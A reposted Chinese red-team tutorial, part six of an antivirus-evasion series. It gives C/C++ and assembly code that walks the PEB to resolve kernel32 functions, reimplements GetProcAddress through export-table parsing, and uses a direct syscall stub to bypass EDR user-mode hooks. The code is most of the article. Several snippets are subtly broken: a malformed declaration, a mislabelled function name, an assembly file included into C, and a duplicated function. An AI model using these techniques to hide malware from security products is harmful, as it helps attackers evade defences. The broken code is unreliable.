免杀对抗从0开始(六)

admin 2024年12月3日22:15:59评论4 views字数 9004阅读30分0秒阅读模式
🔥师傅您好:为了确保您不错过我们的最新网络安全资讯、技术分享和前沿动态,请将我们设为星标🌟!这样,您就能轻松追踪我们的每一篇精彩内容,与我们一起共筑网络安全防线!感谢您的支持与关注!💪
免责声明:文章所涉及内容,仅供安全研究教学使用,由于传播、利用本文所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。

一线红队带你从O到无限进步  

本文章所涉及所有内容均是大佬上课说讲的内容,其中做了一下基础的补充,高深的技术后面会慢慢在文章中出现

一线在职红队在线性感分享技术,从c语言开始基础带你慢慢进入终端对抗(免杀但是不止免杀)的大门。

紧接上文

通过PEB隐藏函数(包括loadlibrarygetprocaddress

我们可以通过动态调用的方式隐藏我们想要的函数,但是我们用来加载dll的函数以及寻找函数地址的函数依旧存在,那我们可以通过什么方法去把这个也隐藏了呢,那么就可通过PEB结构体隐藏。

PEB

PEB(Process Environment Block,进程环境块)是Windows操作系统中一个非常重要的数据结构,它包含了进程的全局状态和环境信息。

定义与作用: PEB是一个数据结构,用于存储有关进程的信息,每个进程都有一个对应的PEB结构体。PEB提供了许多关于进程状态和环境的信息,它是用户模式和内核模式之间的一个关键接口。PEB包含进程的许多重要信息,例如环境变量、映像基地址(Image Base Address)、进程启动参数、加载的模块列表以及堆的管理信息。

结构如下:

typedef struct _PEB { BYTE                          Reserved1[2];  BYTE                          BeingDebugged;  BYTE                          Reserved2[1];  PVOID                         Reserved3[2];  PPEB_LDR_DATA                 Ldr;  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;  PVOID                         Reserved4[3];  PVOID                         AtlThunkSListPtr;  PVOID                         Reserved5;  ULONG                         Reserved6;  PVOID                         Reserved7;  ULONG                         Reserved8;  ULONG                         AtlThunkSListPtr32;  PVOID                         Reserved9[45];  BYTE                          Reserved10[96];  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;  BYTE                          Reserved11[128];  PVOID                         Reserved12[1];  ULONG                         SessionId;} PEB, *PPEB;

做了简单介绍我们之间看看如何使用(直接看代码)

下面就是通过直接构造代码自己实现getmoudlehandle和getprocaddress函数。

#include <iostream>#include<Windows.h>#include"peb.h"HMODULE GetPebModule1(wchar_t* p);FARPROCWINAPIMyOrdinalGetProcAddress(_In_ HMODULE hModule,_In_ LPCSTR lpProcName);//(定义自实现GetProcAddress(通过序号查找));typedef FARPROC(WINAPI *pGetProcAddress)(_In_ HMODULE hModule,_In_ LPCSTR lpProcName);//(定义自实现GetProcAddress(通过name查找));typedef HMODULE(WINAPI*pgetmoudlehandleA)(_In_opt_ LPCTSTR lpModuleName);//自实现getmoudlehandletypedef int(WINAPI*pMessageBoxW)(_In_opt_ HWND hWnd,_In_opt_ LPCWSTR lpText,_In_opt_ LPCWSTR lpCaption,_In_ UINT uType);//自实现MessageBox函数typedef int(WINAPI*pMessageBoxW)(_In_opt_ HWND hWnd,_In_opt_ LPCWSTR lpText,_In_opt_ LPCWSTR lpCaption,_In_ UINT uType);extern "C" void fun()//因为C++自带名称粉碎(我们无法将程序入口点设置在fun函数),所以此处将其改为c方式加载;{    wchar_t KERNEL32[] = { 'K','E','R','N','E','L','3','2','.','D','L','L',0 };//通过数组来存储需要查找的dll名;    HMODULE Hkernel= GetPebModule1(KERNEL32);//调用自实现GetPebModule1传入我们需要的dll名(此函数有两种运行实现方式)char GetProcAddressstr[] getmoudlehandle= { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0 };char getmoudlehandleAstr[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };pGetProcAddress GetProcAddressfun=(pGetProcAddress)MyOrdinalGetProcAddress(Hkernel, GetProcAddressstr);//KERNEL32.dll中获取GetProcAdderss的函数地址pgetmoudlehandle pgetmoudlehandleAfun =(pgetmoudlehandleA)MyOrdinalGetProcAddress(Hkernel, getmoudlehandleAstr);//KERNEL32.dll中获取getmoudlehandle的函数地址char user32str[] = { 'u','s','e','r','3','2','.','d','l','l',0 };HMODULE Huser32=pgetmoudlehandleAfun(user32str);//获取user32.dll的地址char Messageboxstr[] = { 'M','e','s','s','a','g','e','B','o','x','W',0 };pMessageBoxW MessageBoxWFUN=(pMessageBoxW)GetProcAddressfun(Huser32, Messageboxstr);//user32.dll中获取MessageBoxw的函数地址MessageBoxWFUN(0, 0, 0, 0);//getmoudlehandle函数地址//getprocaddress函数地址}int strlen_mine(char* p){    int len = 0;    for (size_t i = 0; p[i] != 0; i++)    {        len++;    }    return len;}int strlen_mine_w(wchar_t* p){    int len = 0;    for (size_t i = 0; p[i] != 0; i++)    {        len++;    }    return len;}int strcmp_mine(char* p, char* q){    int len_p = strlen_mine(p);    int len_q = strlen_mine(q);    for (int i = 0; i < len_p && i < len_q; i++)    {        if (*(p + i) != *(q + i))        {            return -1;        }    }    return 0;}int strcmp_mine_w(wchar_t* p, wchar_t* q){    int len_p = strlen_mine_w(p);    int len_q = strlen_mine_w(q);    for (int i = 0; i < len_p && i < len_q; i++)    {        if (*(p + i) != *(q + i))        {            return -1;        }    }    return 0;}HMODULE getken32base()//第一次实现GetPedModulel的方法{    HMODULE hk32;    __asm {        mov eax, fs: [0x30]//PEB        mov eax, [eax + 0xc]//peb_ldr_data        mov eax, [eax + 0xc]//_List_entry        mov eax, [eax]//ntdll        mov eax, [eax]//ker32        mov eax, dword ptr[eax + 0x18]//ker32base        mov hk32, eax    }    return hk32;}HMODULE GetPebModule1(wchar_t* p)//第二种实现GetPedModulel的方法{PPEB pPeb;//定义PEDPPEB_LDR_DATA pLdr;//定义LdrPLDR_DATA_TABLE_ENTRY pLdrData;//定义Ldr的获取结果//0048E000//0048E000__asm{MOV EAX, FS: [0x18]MOV EAX, [EAX + 0x30]MOV pPeb, EAX}//PEB的地址给到pPebpLdr = pPeb->Ldr;//获取Ldr的地址pLdrData = (PLDR_DATA_TABLE_ENTRY)pLdr->InLoadOrderModuleList.Flink;//指向一个模块for (; (pLdr->InLoadOrderModuleList.Flink) != (pLdrData->InLoadOrderLinks.Flink); //通过判断指向下一个的模块的指针是否等于其本身,如果不是就继续循环(InLoadOrderLinks.Flink为结构体中指向下一个模块的指针){if (strcmp_mine_w(pLdrData->BaseDllName.Buffer, p) == 0)//判断当前模块的名字是否我们输入对策{return (HMODULE)pLdrData->DllBase;//如果是就返回当前模块的地址}pLdrData = (PLDR_DATA_TABLE_ENTRY)(pLdrData->InLoadOrderLinks.Flink);//如果不是就把下一个地址的模块地址赋值上来(相当于pLdrData++}return NULL;}int  fun(int i){return i + 1;}DWORD RAVTOVA(DWORD RVA, DWORD hModule){return RVA + hModule;}FARPROCWINAPIMyGetProcAddress(_In_ HMODULE hModule,_In_ LPCSTR lpProcName){PIMAGE_DOS_HEADER pIMAGE_DOS_HEADER = (PIMAGE_DOS_HEADER)hModule;PIMAGE_NT_HEADERS pIMAGE_NT_HEADERS = (PIMAGE_NT_HEADERS)(pIMAGE_DOS_HEADER->e_lfanew +(DWORD)hModule);//导出表PIMAGE_EXPORT_DIRECTORY pIMAGE_EXPORT_DIRECTORY = (PIMAGE_EXPORT_DIRECTORY)RAVTOVA((DWORD)pIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[0].VirtualAddress,(DWORD)hModule);//导出函数名称表DWORD* NameAddress = (DWORD*)RAVTOVA(pIMAGE_EXPORT_DIRECTORY->AddressOfNames, (DWORD)hModule);//导出函数名称序号表WORD* NameOrdinalAddress = (WORD*)RAVTOVA(pIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals, (DWORD)hModule);//导出函数地址表DWORD* AddressFun = (DWORD*)RAVTOVA(pIMAGE_EXPORT_DIRECTORY->AddressOfFunctions, (DWORD)hModule);for (size_t i = 0; i < pIMAGE_EXPORT_DIRECTORY->NumberOfNames; i++){char* FunName = (char*)RAVTOVA(NameAddress[i], (DWORD)hModule);if (strcmp_mine(FunName, (char *)lpProcName) == 0){return (FARPROC)RAVTOVA(AddressFun[NameOrdinalAddress[i]], (DWORD)hModule);}//使用我们输入的函数name进行循环匹配//printf("%sn", FunName);}return NULL;}FARPROCWINAPIMyOrdinalGetProcAddress(_In_ HMODULE hModule,_In_ LPCSTR lpProcName){if ((DWORD)lpProcName >= 0xffff)//判断lpProcName是否为名字,如果>=0xffff就是name,反之折是序号{return MyGetProcAddress(hModule, lpProcName);//调用nameGetProcAdderss}else {PIMAGE_DOS_HEADER pIMAGE_DOS_HEADER = (PIMAGE_DOS_HEADER)hModule;PIMAGE_NT_HEADERS pIMAGE_NT_HEADERS = (PIMAGE_NT_HEADERS)(pIMAGE_DOS_HEADER->e_lfanew +(DWORD)hModule);//导出表PIMAGE_EXPORT_DIRECTORY pIMAGE_EXPORT_DIRECTORY = (PIMAGE_EXPORT_DIRECTORY)RAVTOVA((DWORD)pIMAGE_NT_HEADERS->OptionalHeader.DataDirectory[0].VirtualAddress,(DWORD)hModule);//导出地址表DWORD* AddressFun = (DWORD*)RAVTOVA(pIMAGE_EXPORT_DIRECTORY->AddressOfFunctions, (DWORD)hModule);DWORD dwBase = pIMAGE_EXPORT_DIRECTORY->Base;DWORD funAddress = RAVTOVA(AddressFun[(DWORD)lpProcName - dwBase], (DWORD)hModule);//输入的序号减去base获得真实位置return (FARPROC)funAddress;//返回查找的函数地址}return NULL;}

PEB.H#pragma once#include<Windows.h>typedef struct _UNICODE_STRING {    USHORT Length;    USHORT MaximumLength;    PWSTR  Buffer;} UNICODE_STRING, * PUNICODE_STRING;typedef struct _LDR_DATA_TABLE_ENTRY{    LIST_ENTRY InLoadOrderLinks;    LIST_ENTRY InMemoryOrderLinks;    LIST_ENTRY InInitializationOrderLinks;    PVOID DllBase;    PVOID EntryPoint;    ULONG SizeOfImage;    UNICODE_STRING FullDllName;    UNICODE_STRING BaseDllName;    ULONG Flags;    USHORT LoadCount;    USHORT TlsIndex;    union    {        LIST_ENTRY HashLinks;        struct        {            PVOID SectionPointer;            ULONG CheckSum;        };    };    ULONG TimeDateStamp;} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;typedef struct _PEB_LDR_DATA{    ULONG                   Length;    BOOLEAN                 Initialized;    PVOID                   SsHandle;    LIST_ENTRY              InLoadOrderModuleList;    LIST_ENTRY              InMemoryOrderModuleList;    LIST_ENTRY              InInitializationOrderModuleList;} PEB_LDR_DATA, * PPEB_LDR_DATA;typedef struct _PEB {    BYTE                          Reserved1[2];    BYTE                          BeingDebugged;    BYTE                          Reserved2[1];    PVOID                         Reserved3[2];    PPEB_LDR_DATA                 Ldr;}PEB, * PPEB;

上面的代码是PEB的定义,需要导入这个头文件。

可以直接使用该代码进行尝试

syscall

简单来说,syscall 是一种绕过 EDR 用户态 hook 的方式,它通过获取系统调用号,并构造 syscall stub 的汇编指令直接进入内核态 API 调用。我们通过动态调试器就会发现某厂商的EDR会hook掉我们常用API函数,这也导致我们在程序直接调用函数的时候会触发告警,他会将执行函数的时候跳转到他构造的函数里去,做一些检查。所以我们使用syscall这个方法直接进行系统调用。直接调用R0层,不再经过被hook了的dll。

这是我们写的asm文件的代码

.codesysntalloc procmov r10,rcxmov eax,18hsyscallretsysntalloc endpend

然后我们构造主要代码

#include <windows.h>#include "abc.asm"EXTERN_C NTSTATUS sysntalloc(HANDLE ProcessHandle,PVOID* BaseAddress,ULONG_PTR ZeroBits,PSIZE_T RegionSize,ULONG AllocationType,ULONG Protect);BOOL ExecShell() {size_t len = 0;DWORD status = 0;PVOID pAddress = NULL;status = sysntalloc((HANDLE)-1, &pAddress, 0, &len, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);if (status != 0) {return FALSE;}return TRUE;}int main() {ExecShell();}

通过这种方式进行调用,但是还有一个问题就是在asm文件中我们的代码里面带有调用号以及syscallret这种危险的指令,我们该怎么进一步处理呢,可以私信询问

原文始发于微信公众号(泾弦安全):免杀对抗从0开始(六)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月3日22:15:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀对抗从0开始(六)https://cn-sec.com/archives/3464143.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息